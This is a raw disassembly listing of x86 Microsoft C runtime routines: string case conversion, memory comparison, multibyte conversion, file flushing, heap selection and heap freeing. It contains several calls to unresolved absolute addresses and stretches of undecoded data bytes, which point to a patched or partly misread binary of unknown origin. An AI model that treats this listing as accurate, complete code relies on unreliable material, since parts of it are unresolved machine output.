arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBA14
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADE+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418069+6p
					; sub_418087+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBE4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A5+ADp
					; sub_419594+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A5+7Fp
					; sub_4185A5+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DBA14, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2680F9Dh
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9D8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DBA14, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2810000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 60h
		dd 0C3F688E0h, 0A608A90Fh, 997EC1E2h, 0A164B763h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 42F1E8E8h, 33900245h, 89D48AD2h
		dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 0E8000059h, 245426Bh, 0CFECA390h,	19E8004Dh
		dd 0A3000058h, 4DB9C8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024526h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 44E89056h, 5002272Bh, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9D0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A9A0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9D0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCDA0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2660868h
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2680F9Dh
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC80, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 269053Fh
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26D050Dh
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2472218h
		dd 0A3C08590h, 4DCFE4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 71E8004Dh
		dd 90024630h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFE4h
		dd 21BEE890h, 0C0850238h, 4DCFDCA3h, 0C3017500h, 4244C8Bh
		dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
		dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFD8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFDC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
